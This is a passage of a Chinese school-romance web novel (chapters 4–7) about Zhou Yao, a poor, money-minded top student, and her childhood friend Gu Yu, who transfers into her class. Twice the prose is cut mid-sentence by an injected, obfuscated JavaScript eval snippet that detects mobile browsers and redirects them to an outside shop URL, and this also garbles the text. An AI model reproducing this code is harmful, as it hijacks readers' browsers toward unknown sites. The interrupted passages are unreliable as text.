这话一出,顾彧便知道答案了,转身离开的背影怎么看怎么有些失落,那垂头丧气的样子和下午初见他时的张扬天差地别,周窈突然心里就有些不忍了,自我检讨她对顾彧是不是态度太差了?毕竟从小一起长大,况且那件事也不是他的错,而且他现在一个人在舟市,孤苦伶仃也挺可怜的。 正想着,手机突然震了一下,一个陌生号码突然发过来一条短信:“我还没有你的企鹅号,哭哭。” 太阳穴青筋狂跳。 哭哭哭哭,哭你个头啊! 周窈的愧疚感瞬间荡然无存,她怎么就忘了,这货最会装可怜骗人同情! 4. 顾狐狸 开学前夕总是充斥着各种兵荒马乱,忙着抄作业的,忙着抓紧时间玩游戏通关的,忙着结束旅游行程从外地往回赶的,自然也有忙着预习功课的。 周窈一如既往趴在书桌前,塞着耳机做英语听力,短短半小时,边上的手机震个不停,抽空打开一看,十几条未读消息全部来自顾彧,无非就是问她明天早上几点去学校。 周窈忍无可忍,回了个“七点半”,然后锁屏继续做听力。 第二天一早,周窈早早起床,吃了早饭背了半小时英文单词之后,七点十五就出门了。刚走到楼下,就看见顾彧蹬着他那辆酷炫的山地车等着她了,见她下来,一脸“我就知道”的表情,随即扁了扁嘴,委屈巴巴地指控:“你又骗我。” “哪来的‘又’,少添油加醋。” 周窈也不管他,自顾自取了自行车,蹬上就往学校赶。 一中校址建在靠近市中心的闹市区,被商业街和生活住宅挤在中间,显得校舍挤挤挨挨。开学第一天,校门口格外热闹,尤其高一新生和送新生入学的家长们,各色车辆将校门口那狭小的一块地方堵得水泄不通。周窈骑着她那辆老爷车熟门熟路地在车流中穿行,顾彧则一派闲适地跟在她身后,看着她有些泛白的酒红色书包在车流中时隐时现。 学校门口有每个班固定的停车位,周窈带着顾彧在高二九班的位置上停好车,趁着四下无人,压低了声音嘱咐顾彧:“你晚两分钟再进来。” “为什么?” 周窈来不及作答就急匆匆地向校门口走去,只留顾彧在原地望着她一甩一甩的马尾,不怎么满意地“啧”了一声。但即便心中不满,他依旧老实听话地在原地站了两分钟,有相熟的同学看见他,甚至还热心地问了一句是不是没戴校牌,而顾彧也只是双手插兜痞痞一笑回应道:“错峰进校。” 老老实实站了两分钟,顾彧拎起书包往校门走去。 进了教学楼顺着人群上了楼,有些不太熟悉地往高二九班方向走,经过班级门口时,就听见一声高亢的“我的周啊,没有你我可怎么活啊!”,透过窗户侧目朝班级里望去,周窈正站在她的座位边收拾着书包,一个看着挺活泼帅气的男生从后排蹿了过来,一把揽住了周窈的肩,而周窈似乎对这种行为见怪不怪。 一向吊儿郎当看似对什么事都很随意的顾彧的脸上,难得地显露出一丝不爽,那天周窈一脸嫌弃地将自己推开的样子还历历在目。 怎么这人可以,他却不行? “看什么呢,先去办公室。” 前方和他一起转班的同学李铭轩叫了他一声,顾彧这才收回目光,沉默着向办公室走去。而教室里,周窈的同桌代薇子望着窗外小声地念叨了一句:“卧槽,顾彧也太TM帅了!” 周窈下意识便也向窗外看去,只是此时窗外还哪有人了。 “什么什么?”蒋煜收回挂在周窈肩上的手,大惊小怪地嚷嚷,“顾彧在哪?他到底转几班啊?” “你管他转几班。”周窈在自己位置上坐下,抬头看着蒋煜,“你过来干嘛的?” “哦哦。”蒋煜这才想起正事,将一块巧克力放在了周窈桌上:“我放假不是出国玩了一趟么,特地给你们带的,大家都有。” 听到“大家都有”,又看到代薇子的桌子上确实也放了一块一样的巧克力,周窈这才收下。 同班一年,周窈和同学们的关系向来是银货两清,都是客户,关系稍好些的,也就她的同桌代薇子和固定客户蒋煜,这两人都是直脾气,性格大大咧咧,相处起来也舒服。而此时,这两人已经拆开巧克力,分着吃了起来,一边吃还一边八卦拆班的事。 “一班的人都疯了,说是连座位都给顾彧让出来了。” “可不是说那天他是和史芬一起出来的吗?” “没准是碰巧遇到的呢?年级段第一不去实验班,也说不过去吧,留在平行班图什么呢?” 两人正说着,边上的学委孔昊英突然插嘴:“我要是顾彧我肯定毫不犹豫就选一班,别的不说,一班的课程进度都比我们快,教的知识点难度也更高,他们甚至还会涉及到竞赛内容,哪像我们班,水平参差不齐,只能按照最基础的内容教,稍微拔高一点半数以上就都听不懂了。” 蒋煜一听,白眼都快翻到天上去了:“啊对对对,一班这么好,你怎么不去一班?是考不上吗?”说完,他和代薇子笑成了一团。 孔昊英立马跳起来反驳:“我好歹也是班级前三年纪前百,努努力搞不好就能考进去,跟你们这种层次的可不一样。”说到这,他又将视线对准了周窈,“而且我这个暑假去宁市参加了夏令营,人家可是专门请的各科特级教师来辅导,这学期的第一肯定是我的!” 周窈对孔昊英放话要考第一没啥兴趣,但听到“夏令营”这三个字,她倒是眼睛一亮,扭头问孔昊英:“什么夏令营?” 孔昊英得意地将头一扬:“就是宁市牵头组织的夏令营啊,和高校挂钩,选拔人才。” “这个夏令营要怎么申请?” 这回还没等孔昊英回答,坐他前排的文艺委员荣子涵就酸溜溜地来了一句:“要考的,凭成绩进,对我们舟市只开放五十个名额,而且费用不便宜。” 周窈便追问了一句:“有多贵?” 荣子涵翻了翻眼睛:“反正你是交不起的。” 而孔昊英呢,似乎是怕周窈跟他套情报似的,干脆塞上耳机开始装着背英语,再也不理了。 周窈是很在乎成绩的人,认识她的都知道,她学习很拼命,就是软件差了点,家里条件不怎么好,上不起补习班,贵一点的辅导材料也弄不到,一句“你交不起”几乎就绝了周窈的去路了。 看着周窈似乎有些难过地沉默不语,挑起这个话头的蒋煜懊恼地抓了抓后脑,不知该如何安慰,干脆将自己带来的所有巧克力都一股脑地堆到了周窈的抽屉里,而边上的代薇子则搂着周窈的肩安慰到:“什么夏令营有什么稀罕的,咱们自己也能学得好!” 能么?自然是不能的。 周窈很清楚自己有几斤几两,她不是那种天资聪颖的小孩,能考到班级第一都是她努力刷题背书的结果,但人总有上限,若不借助外部条件帮她把天花板砌得高一点,她就是努力到死也就只能考这些分数。 本科有余,重点远远不足。 或许很多人觉得能考上本科不就够了吗?但对周窈来说却不是。虽然有些中二,但她想为自己逆天改命,考得分数越高,她就能飞得越高,然后将这个困住她的地方远远甩在身后。 早自习上课铃声响起,原本三三两两聚在一起说闲话的同学 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然而话音刚落就被蒋煜截断:“不行的老师,我们家子涵太花痴了,不能和帅哥坐一起,会影响她学习的!” “关你什么事啊!”荣子涵扭头朝蒋煜翻了个白眼,附赠一声冷哼。 “行了。”史芬按住针锋相对的两人,但安排座位也着实犯了难。她们班现在一共四十多个人,空出来的大多是最后排,而后排又往往是差生聚集地,将顾彧这样的好学生放里面,史芬着实也有些不放心,但男女生坐一起,尤其对象还是顾彧,史芬更不放心了。 “史老师,我想和班级第一坐……” 从进门后就一直没说话始终在扮演一个好学生形象的顾彧突然开口说道,一直埋头做题当做无事发生的周窈笔尖一顿。 班级第一,那不就是她? 皱着眉头向讲台方向看去,果不其然和那双狐狸眼撞在了一起。 “想死?”周窈无声威胁,而对方只留给她一个无辜的表情。 史芬推了推眼镜:“你的身高坐第三排有点勉强。”但听顾彧这么说,史芬也将视线对准了周窈,和坐周窈后排的蒋煜。蒋煜边上的位置倒也空着,他同桌原先是个小姑娘,上学期说蒋煜打扰她学习,家长要求给换开了,不过换坐后蒋煜倒是老实了很多。 其实按照顾彧的身高,他应该直接去坐最后一排,但是吧,最后一排都是些不学习的主,时不时还给你闯点祸捣点乱,把尖子生放在那里史芬也确实于心不忍。 想到这,史芬伸手点了点,对准了周窈后排的蒋煜他们一桌:“李铭轩你坐蒋煜后面,顾彧你坐蒋煜边上。” “啊——我这豪华单人套房突然变成拥挤的标间啦?”蒋煜怎么也没想到刀子还能落他头上。 史芬眼睛一瞪:“胡说八道什么。你可给我老实一点,自己不学习也别影响别人学习,听到没!赶紧把你那些破烂收拾了!” “知道啦——史老师——”蒋煜一脸不情愿,磨磨蹭蹭收拾他摊在空座位上的东西。 和李铭轩一前一后走下讲台,顾彧拎着自己的书包向他的座位走去,经过周窈身边时,修长的手指有意无意从她桌面划过,像是某种暗示。但看在周窈眼里,却变成了挑衅。 她气得咬牙:死狐狸,让你离我远点,还敢坐到我后面! 5. 葛朗台·周 花了三分钟哀悼了一下自己“逝去”的“豪华套房”之后,蒋煜很快便欣然接受了自己的新同桌是年级第一兼校草这件令人高兴的事,还颇为殷勤地拿着不知从哪个角落掏出的一包纸巾,主动帮顾彧将桌面擦得干干净净。 “谢谢。”顾彧低声道谢,然后将教科书端端正正地垒在书桌的左上角。 蒋煜望着那崭新的书籍,心想不亏是学霸,连他的书都散发着一股油墨香气。“我爸妈要是知道我新同桌是谁,可不得连夜给史芬烧三柱高香?” 闻言,过道另一侧的孔昊英忍不住酸道:“就是文曲星坐你边上也带不动你。” “切。”蒋煜:“你还是担心你自己吧,万年老二要变万年老三了。”怼完文委,蒋煜看了一眼讲台上正在组织收暑假作业的史芬,转身趴到顾彧边上,悄咪咪地问:“诶,学霸,你干嘛不去一班啊?” 闻言,顾彧稍一抬头看了一眼前排的周窈,少女撑着下巴微侧着头,似乎是在思考问题,马尾辫滑落在肩膀上又被她不耐烦地拨开。 “我不喜欢一班那种高压环境,而且……一班也没有我认识的人。” “嗯?”蒋煜敏锐地抓住重点,“那咱们班有你认识的人?谁啊?” “周——” 顾彧刚张口想要回答,前排的周窈突然往后靠过来,椅背撞到顾彧的课桌,发出刺耳的“砰”的一声,将蒋煜都吓了一跳。 少女微微侧过头来,眼睛抬都没抬:“不好意思。”语气冷冰冰的,听起来反倒像是“不许多嘴”。 说完她转过头去,微长的发尾在顾彧的桌面上划出一个弧度。 顾彧将这一切看在眼里,嘴角的笑容略带几分玩味。 边上的蒋煜不明就里,用笔杆轻轻捅了捅周窈的肩膀:“哎,阿周,你别因为自己的第一宝座没了,就迁怒人家啊,史芬都说了要友好相处……”扭头又跟顾彧道歉:“不好意思哈,我们家阿周不懂事……” “你们家?”顾彧眉毛一挑,他突然想起来,刚刚在窗户外看到和周窈勾肩搭背的,好像就是眼前的蒋煜。“你们俩在谈恋爱?” 没想到顾彧的关注点在这,蒋煜一时也有些愣神,花了几秒反应过来之后:“嗐,人家班级第一哪能看得上我啊,就是个习惯用语!” 顾彧点了点头,垂着眼睛看不出情绪,言语中却带着些许警告意味:“哦,还是不要这么说的好,容易遭人误会。” “行行行。”蒋煜神经大条,压根没听出来有什么不对,只当学霸一心学习,过于一本正经了,也没在意。 早自习结束,所有人都到操场上集合出席升旗仪式。 早上八点的太阳不说有多烈吧,但也起码不凉快。周窈看着刚好到自己这里就结束的树荫,不耐烦地“啧”了一声。台上校长讲话又臭又长,非得讲满二十分钟也不知道有什么毛病。 站她后面的代薇子伸手捅了捅周窈的后腰,周窈打着哈欠扭头朝她看去:“怎么了?” “哎,你看。” 看什么?周窈顺着代薇子的眼神看去,发现边上十班八班的女生都在频繁地朝她们班队伍最后看。 周窈微微探头,就见队伍最后,顾彧双手插兜吊儿郎当地站在那,好像谁把他的骨头抽掉了似的,但奇怪的是,别人这样站你只会觉得缺少精气神站没站相,但顾彧这么站,你却觉得浪荡不羁,加上阳光打在他白色校服上,整个人白得反光,看上去就跟有什么主角光环似的。 “真不愧是校草,统一了所有女生的审美,我觉得他比那些参加《偶像成团夜》的小爱豆都帅,如果顾彧去选秀,一定能C位出道!” 此时的周窈并不知道代薇子的话在多年后一语成谶,她转回头冷哼:“得了吧。” 台上的校长依旧在滔滔不绝,周窈再次打了个哈欠,心里却盘算起先前孔昊英提到的夏令营的事,既然这个夏令营向舟市学生开放名额,为什么她不知道呢? “你说夏令营这种事,为什么我就不知道呢?”对着代薇子,周窈问出了心中的疑惑。 还未等代薇子回答,站在前面的班长谭欣加入讨论:“这就是信息茧房,有些消息只在尖子生之间传递,普通学生很难打听到,因为你没有渠道。”说完,她故作神秘地压低声音:“这个夏令营是宁市高中的传统了,是为了拔高重点率才开办的,名额有限,所以学校也只通知了一班二班的学生去参加。孔昊英他家哥哥姐姐都是名校毕业,也算是家学渊源,听说灭绝是他爷爷的学生,估计才得到的内部消息吧。” “有冬令营吗?” “有,就是强度不如夏令营,好像只有十五天。” “听荣子涵说,夏令营费用很贵?”抛开分数,费用是周窈最关心的问题了。 谭欣想了想:“具体的我不知道,但最起码也要好几千吧,除了课时费,还要在宁市吃住一个月……哦,而且授课老师都是那种退休返聘的高级教师,课时费肯定不便宜。不过你要说很贵吧好像也没有,毕竟如果能考上,有几个家庭拿不出这几千块啊,就是上万也要去啊……” 她家就拿不出来。 心底无声地叹了口气,台上的校长也刚好说完了最后一句,“付出就会有回报,努力就能提高成绩”,像是一记响亮的耳光,甩在周窈脸上。 她缺的是努力吗?她缺的是钱啊! 顺着人流往回走,就听见周围一阵突兀的叽喳声,抬头一看,顾彧双手插兜晃晃悠悠走在最前面,身边围了一圈小姑娘,生动地体现了校草的影响力,偌大一个操场,就他们一群人最显眼,比校长排场都大。 周窈撇了撇嘴,她就说么,顾彧根本就是个大麻烦。 回到教室,周窈偷偷打开手机查询自己的余额,微信、支付宝,各种加在一起,也就三位数而已,够她两个月的饭钱,多的是一分都没有了,而且她还要买两本数学和理综的习题集,还得五六十。 如果天上能掉钱下来就好了。 开学第一天,大多数人都心不在焉,按史芬话说就是心还没收回来呢。熬了两节课终于熬到大课间,原本昏昏欲睡的人像突然被激活了似的冲向周窈,而周窈则淡定地从包里翻出了她的收款码,放在了桌上。 后排的顾彧看着这一奇观,偏头问蒋煜:“这是?” 蒋煜嘿嘿一笑:“你不知道吧,周窈是我们班的葛朗台,什么东西都能在她这里买到,包括食堂每天限量供应的炸鸡排,也包括作业答案。” 果然,就听见前方周窈高声喊着:“跑腿费10%,自己算好了发过来。” 顾彧默不作声地看了这一切,伸出食指轻轻点了点周窈的后肩。 周窈扭头看是他,便露出一副不耐烦的表情:“干嘛?” 顾彧小心翼翼:“想要一盒巧克力牛奶。” 话刚说完,收款码就递到了他面前。顾彧算好价钱扫码付款,周窈低头核对,就见一笔五块钱的费用下面备注着——“谢谢条条。” 啧,烦人。 大课间的食堂往往人满为患,都是为了抢鸡排。一中食堂的炸鸡排是招牌,据说是厨师的独家秘制,外面吃不到,而且只在上午的大课间限量供应,好多毕了业的学生都还想着这一口。 正因为好吃,所以特别难抢。 周窈并没有随着大流往正门挤,反倒是绕后来到厨房的偏门,敲了敲窗户之后,一位食堂阿姨就从窗户里递出一袋子刚炸好热气腾腾的鸡排来。 “谢谢阿姨。”周窈接过鸡排,付完钱准备走人,突然想起了什么又折 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460777|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 返回来。 “怎么了?数量不对啊?”阿姨笑眯眯问。 “不是不是,我还要一盒巧克力牛奶。” 拎着东西上楼,就见自家班级门口水泄不通,人群中央,顾彧和十三班的于奥琪面对面站着——哦不,应该说是于奥琪单方面拦住了顾彧的去路,而窗边,则趴着蒋煜和李铭轩等人,很明显是在看热闹。 顾彧空降九班的消息只需要一个早自习的时间就传遍了整个年级段,肉眼可见的,课间打着上厕所的由头从他们班门口经过的女生异常地多,甚至里面还夹杂着几名纯纯看热闹的男生,九班因为纪律差,成绩不理想,几乎是年级段的“狗不理”,几时这样热闹过? 但顾彧本人似乎对自己的高人气已经司空见惯,并未表现出半点不适应,周窈去食堂了之后,他便如常地起身去倒水,刚出教室门就被人拦了个正着,他掀了掀眼皮一看,是原先十三班的同学于奥琪。 于奥琪是公认年级段的段花,会跳芭蕾,在学校里也算是个风云人物,不知是多少男生的暗恋对象,这两人撞到一起,想也知道有多大的瓜能吃。 就听见于奥琪略带哭腔问顾彧:“你是不是为了躲我才学理的?!” 顾彧微微偏过头,似乎对这个问题不是很理解:“我只是喜欢理科。” 于奥琪闻言面露喜色,以至于都忽略了顾彧语气里的不耐烦:“所以你不是为了躲我,那我可以继续——” “我已经拒绝过你两次了。”冰冷的声音响起,于奥琪难以置信地抬起头,却发现往日里看似随意好说话的顾彧,眼神突然变得冷漠,像透骨的冰凌。 她顿时被吓得手足无措了起来,结结巴巴地说着不成段落的话语,而顾彧则是低声道了一句“借过”,然后绕过她去走廊尽头的水房倒水。 两人错身的那瞬间,于奥琪终于忍不住捂着嘴哭了出来。那画面,堪比市面上的任何一部青春校园偶像剧。 一出好戏落幕,众人都有些意犹未尽。 蒋煜从窗台上下来,嘴里嘟嘟囔囔:“校草这也太无情了,那可是年级段段花于奥琪啊!” 李铭轩则一副见怪不怪的样子:“我甚至都怀疑过他是不是喜欢男的。” 周窈分完鸡排,顾彧还没回来,就将牛奶放在了他的桌上,脑海里却不受控制地回想着刚刚顾彧拒绝于奥琪的那一幕。 要说没受到冲击那是不可能的,记忆中的顾彧还是跟在她屁股后头哭的小屁孩,哪见过他这么冷言冷语的一面? 边上代薇子也不免感叹:“还以为校草蛮好说话的,没想到这么凶,恐怕要劝退很多想向他表白的女生哦。” 等顾彧从外面回来,依旧是那副吊儿郎当云淡风轻的样子,像是什么事都没发生过一样,看到自己桌上放着的巧克力牛奶,还轻轻笑了一下。 代薇子瞄了一眼手机,趴在周窈边上低声说道:“于奥琪这次好像真的深受打击,她都追了顾彧一整年了,还在空间各种表白来着,现在空间里关于顾彧的一切都清空了。” 周窈对别人的事不感兴趣,自然也没搭话,翻开课本准备听课。 九班的课堂纪律向来形同虚设,老师在上面讲课,学生在下面窸窸窣窣讲着小话。一片嘈杂之间,只有周窈抬头认真看着黑板上的板书。然而没过一会,她的腰侧似被什么东西碰了一下,记笔记的空档她抽空低头一看,修长的手指捏着一盒巧克力牛奶。 他又不要了? 周窈疑惑地接过,就见盒子上面写了一行字——“多喝牛奶才能长个,争取下学期能跟我坐同桌哦,159.5cm。” 顾!彧! 周窈拳头捏得咔咔作响。 这人就是老天派来折磨她的吧,专在她的雷区上蹦迪! 6. 离我远点 周窈想都没想,转身将牛奶“啪”地一声放回到顾彧的桌面上。 “一经售出,概不退换!” 顾彧扒拉着牛奶,一脸委屈,似是有话想说,却被周窈一个眼神给堵了回去。 刚转回身,就听讲台方向响起一句:“周窈!干什么呢!” 周窈暗道一声倒霉,讲台上数学章顶着他的啤酒肚,手握着巨大的三角尺撑在讲台上,狭小的眼睛透过镜片向她看来,嘴角弧度十分轻蔑。 “我说什么来着,有些人别一取得点什么成绩就飘了,不上补习班不做课外习题,就靠上课这点时间还不好好听!真以为自己是神童是吧!也不看看自己在段里的排名。” “条件不行就多努力多用功!天天投机取巧,现在连课都不听了,侥幸让你考好了一次,以为次次都能考好吗?数学哪有你想象得这么简单?!” 周窈埋头听着,熟练地一只耳朵进一只耳朵出,边上代薇子愤愤不平,压低了声音安慰道:“你别听他的,他就是气你没去上他的补习班,让他少赚了一份钱。” 数学章骂骂咧咧了三五分钟才停下,仿佛周窈跟他有多大仇似的,说得口干了,拿起茶杯喝水的空档,还不忘Cue一下他的得意门生——学委孔昊英。 “你们学不好数学的,都要向孔昊英学习,数学课认认真真上,作业从来一题不落,双休日还要上两天的补习课,巩固基础的同时还不忘拔高。这次听说还考进了宁市中学夏令营,所以我说啊,付出就会有回报,你牺牲了时间,花了钱,但你拥有了知识!成绩的提高是明显的!是显著的!有些人啊,一天到晚都不知道在忙些什么,庸庸碌碌就知道死读书,课本上的知识是有限的!平时还是要多做题,多和人交流!多和老师请教!你看孔昊英,我上个学期就专门针对他薄弱的环节给他补知识点,分数提高了多少?都能考进宁市夏令营了!来,孔昊英,给大家讲讲你在夏令营里的所见所得。” 孔昊英一脸惊喜地站了起来,起身时还不忘拨弄一下他几乎不存在的刘海。 “咳咳……我这次去夏令营,最大的收获就是,打开了思路,打破了自己的局限性……” “绝了。”代薇子颇为嫌弃地翻了个白眼,“这数学章是多恨你啊。” 周窈撇嘴:“谁知道,可能我上辈子掘了他家祖坟吧。” “教育局都明令禁止老师开设课外辅导了,就他还大张旗鼓吆喝,不过确实也没人敢去举报他,毕竟家长都希望自己小孩成绩能提高,也都不敢得罪老师。” 周窈冷哼一声:“你不也在他那补习吗?提高了吗?” 代薇子佯装不满地伸出食指挠了挠周窈的胳膊:“你攻击他就算了,怎么连我也一起攻击啊,哎,说真的,在他那每周上俩小时课,还不如你给我讲几道题呢。” “一题十块。” “知道了,葛朗台·周——就没你不赚的钱。” 边上孔昊英还在侃侃而谈,从在夏令营中每天的作息时间谈到食堂供应的菜色。周窈懒得听,从数学书底下抽出一本课外习题,正思考着这道题辅助线要怎么画的时候,腰侧又被人碰了下。 不用想也知道是谁。 不过这次不是牛奶了,而是一颗巧克力。 每次都这样。 周窈接过,也不管是不是在课上,剥开了斑斓的包装纸,将巧克力放进嘴里。 小时候,顾彧没少害周窈被她妈揍,反正一有什么事,周窈总是自动背锅的那个,事后,顾彧便会拿着一袋袋她平时吃不到的零食来跟她道歉。 托他的福,纵然周窈家里条件不好,但市面上那些时兴的零食倒没少吃,甚至班级里的同学还一度误以为她家很有钱。 吃完巧克力,周窈将那张花花绿绿的包装纸铺平,用记号笔在上面写了几个字,叠好后又迅速扔了回去。 后排的顾彧将包装纸展开,就见上面用红笔写着“离我远点”外加三个感叹号。 看来是气得不轻,但这件事本来就是顾彧理亏,他故作深沉地叹了口气,只觉得自己每每都要在周窈这忍气吞声。 边上蒋煜看着他们这一来一回,凑过来小声试探:“你跟葛朗台·周认识啊?” 顾彧捏着手里的包装纸,毫不怀疑如果他现在说认识,周窈指不定就要跳过来打他了。 他故作内疚地眨了眨眼:“不认识,只是害她被骂……” “嗐。”蒋煜抬眼瞄了一眼讲台上的数学章,“即便不是因为你,数学章也会想方设法怼阿周几句的,他看不惯阿周很久了。” “为什么?”顾彧挑眉。 蒋煜拿手遮着嘴,凑近了说道:“数学章要求所有人双休日去他家里补习,但周窈没去,偏偏周窈还考第一,他就觉得周窈没把他放在眼里,天天找茬。” 原来是这样。 顾彧将写了字的包装纸仔细叠好放进笔袋里,然后抬头看了一眼正用欣慰眼神望着孔昊英的数学章,低下头继续自己刚才没做完的题。 下课铃响。 结束了教学的数学章并未第一时间离开,而是笑眯眯地将顾彧叫住,顾彧原本正准备去水房倒水,闻声便随手将水杯搁在周窈桌上,晃晃悠悠往讲台边走去。 数学章颇为亲切地拍了拍他的肩,开口就是周窈从未听过的和蔼声线:“刚转班都还习惯吗?功课跟得上吗?” 顾彧姿态懒倦,神情倒是恭顺:“谢谢章老师关心,我很习惯,都跟得上。” “那就好。”数学章镜片上一道白光闪过:“我看你成绩不错,也很稳定,平时有没有报什么补习班啊?” “没报。” 数学章眼睛一亮:“但是我看了你上学期末的数学卷子,最后一道大题正确率不高啊,这样,你双休日到我这来,我给你针对性的拔高一下。” “最后一道大题?”顾彧掀了掀眼皮,像是仔细回忆了一番:“那道题我省略了解题过程,所以被扣了两分。如果章老师要给我拔高,能给我讲讲竞赛题吗?” “呃——”数学章一下子噎住了,他要是能讲竞赛题,一班班主任的位置岂不是要换成他了?脸色逐渐挂不住,数学章打着哈哈道:“也不是不能讲,竞赛题虽然对拔高效果显著,但学数学,不止要拔高,还要层层加固,基础知识也很重要,而且未来如果你不打算走竞赛这条路的话,其实没太大必要去做竞赛题。这样吧,你周六下午到我家来,我给你上一点难度……” “可是章老师,我听说私自开设补习班是违规的……” 班级里原本嗡嗡的说话声瞬间停止,连周窈都停下手中的笔抬头看了眼讲台边和数学章对峙的顾彧。 “还是说,老师免费给我补习?” 刻意压低的哄笑声四下响起,数学章脸色一阵慌乱,紧紧咬了下后槽牙,竭力维持最后的体面似的:“老师也是好心,既然你不需要的话就算了……” “多谢章老师费心了,我想章老师总不至于因为我不去你家补习就给我难看吧?” 数学章赶紧否认:“不会不会,这都是自愿的,自愿的……”说着,他捞起自己的东西,匆匆离开了教室。 “牛逼啊校草!能让数学章吃瘪!” 蒋煜上蹿下跳给顾彧三百六十度点赞,而顾彧则依旧是那拽拽的“死”样子,溜溜达达回到周窈桌边,拿起自己的空水杯,低声说了一句:“别生气了,给你报仇了。” 周窈斜着眼瞥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13460778|141717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他一眼,眼角余光却看见数学章又再次“杀”了回来,用手里的三角尺重重敲了下教室大门。 “通知一下啊,明天摸底考!”说完,像是后面有谁在撵他似的,飞快地走了。 刚刚还在看热闹吃瓜的班级里顿时一片哀嚎。 “我靠!”蒋煜一拍桌子:“这货不会是故意报复的吧!” 唯独周窈则在听到这则消息后,脸色瞬间明亮了起来。 被针对又怎么样,数学章可真是她的财神爷啊! / 体育课,集体练了几下排球之后,就转为自由活动。 周窈才把球放下,身边就呼呼啦啦围上来一群人,为首的依旧是蒋煜。 “阿周!定金!这次怎么传?” 周窈淡定地从口袋里掏出她那张收款码,在各人眼皮子底下扫了一圈:“我传给蒋煜,蒋煜再传出去……” 哦不对,她后排现在顾彧坐着了。 啧,麻烦。 “不是啊阿周,我们换位置了啊……”蒋煜一脸焦急,他原本一人独占两个座位,考试的时候就坐到周窈正后方,方便传答案,但现在这个位置上坐着的人变成顾彧了。“要不你还是传给我?” “不顺手,容易暴露。” 蒋煜眼珠子转了一圈,突然扫到不远处的李铭轩,便立即将他拉了过来:“兄弟,帮个忙!” 所有的目光瞬间都聚焦到了李铭轩身上,可他却双手一摊:“不是我泼你们冷水啊,但这件事不太可能啦,顾彧以前在我们班是出了名的不问世事,只专注读书考试的,高一运动会,就连班主任出面也没说动他参加,你们就知道他多难说动了吧。” 那怎么办啊? 一片愁云惨雾间,蒋煜突然又被人拍了拍肩膀:“你不是和他同桌吗?拉进拉进距离啊……” “就是,校草又怎么样,你好歹算是他半个枕边人了……” “一个区区同桌还拿不下吗?” “九班国服男妲己支棱起来啊!” 好一顿起哄,顿时让蒋煜自信心爆棚,拍着胸脯打包票:“放心吧,包在我身上,我今天就算是挂在顾彧身上,也要啃下这朵高岭之花!” 周窈嘶了一声:倒也不必。 交了定金,众人逐渐散去,蒋煜抄起一只篮球就叫上李铭轩,现同桌打算踩着前同学牵的线,和顾彧以球会友,试图拉进距离,还没行动呢就跟学委孔昊英撞了个正着。 蒋煜他们还没说什么,就听孔昊英酸溜溜说道:“买来的也不是真的,骗骗自己罢了,某些人也真是没下限,这都拿来卖钱。” 周窈自认死爱钱,三观不正,被说也就被说了,压根没有想跟孔昊英理论的想法,但蒋煜却不干了,他看不顺眼孔昊英这种势利眼尖子生已经不是一天两天了,把篮球往身边一递就开怼:“啊对对对,我们成绩差,碍着你的眼了吗?那你怎么不向好学生看齐呢?是因为考不过吗?万年老二!” “你们!” 万年老二可算是精准地戳到了孔昊英的肺管子了,顿时气得脸胀红,指着周窈蒋煜他们说不出话来,最后撂下一句:“你们等着,这次我肯定考第一!”说罢,气呼呼地走了。 蒋煜抓了抓头:“第一?怎么可能啊,他是不是忘了班里还有顾彧了?” 对于谁第一这一点,周窈倒是无所谓,她虽然看重分数,但向来只跟自己比。而且在他们班拿了第一又怎么样,还不是连年级段前五十都没进? 想到这,她多少又有些烦躁了起来。 “啊,对了,阿周,下课时我能立即喝到一瓶冰阔落吗?” 周窈一秒亮出她的收款码:“发给我,我一会提前去买。” 7. 过路费 周窈这边的骚动顾彧自然是注意到了,没等蒋煜他们来找他,他自己就主动迎了上去,让蒋煜多少有些受宠若惊。 “校草,打球啊。” 顾彧抬了抬下巴:“刚刚你们都围着周窈干嘛呢?” “哦,你问这个啊。”蒋煜压低了声音,颇有些神秘兮兮地说道:“明天不是数学要摸底考么,我们跟周窈买答案呢。” “买答案?” “对啊,不过她只卖小考答案,期中、期末这些是不卖的。” “也卖不了吧。”边上的李铭轩插话,“期中期末考试座位都是打乱的,也不让带手机。”说完,蒋煜给李铭轩抛过来一个眼神,两人便一人一边,揽着顾彧往篮球场走。“走走走,先打篮球,其他的晚点再说,哎,叫上朱鑫纬,他体育特长生,打篮球超厉害……” 等周窈抱着一兜饮料回来,就见代薇子她们坐在篮球场边上,在看男生打篮球,她便也挨着代薇子坐下,将饮料放到身边地上,一大兜子。 代薇子看了眼她手上被塑料袋勒出来的红痕:“我说陪你去你还不要,那么重你怎么拿得动的?” 周窈握拳又松开,充血的手掌才恢复一些:“没多重,就十来瓶,而且我自己的跑腿活,哪好意思辛苦你。” 篮球场上,蒋煜、李铭轩和顾彧正和朱鑫纬他们打三对三,原本预想中,蒋煜他们这边肯定会被朱鑫纬压着打,毕竟对方是体育特长生,又高又壮,却没想到十多分钟打下来,双方竟然有来有回,火药味十足,难分高下。 “顾彧还挺厉害的,刚刚竟然还切了朱鑫纬的球,而且他和朱鑫纬差不多高哎,朱鑫纬好像187,顾彧起码也得……” “他185。”周窈不经意间回答。 “你怎么知道?”代薇子回头,多少有些惊讶。 “呃……”周窈这才意识到自己说漏了嘴,“我在史芬那看到过顾彧的资料表……” 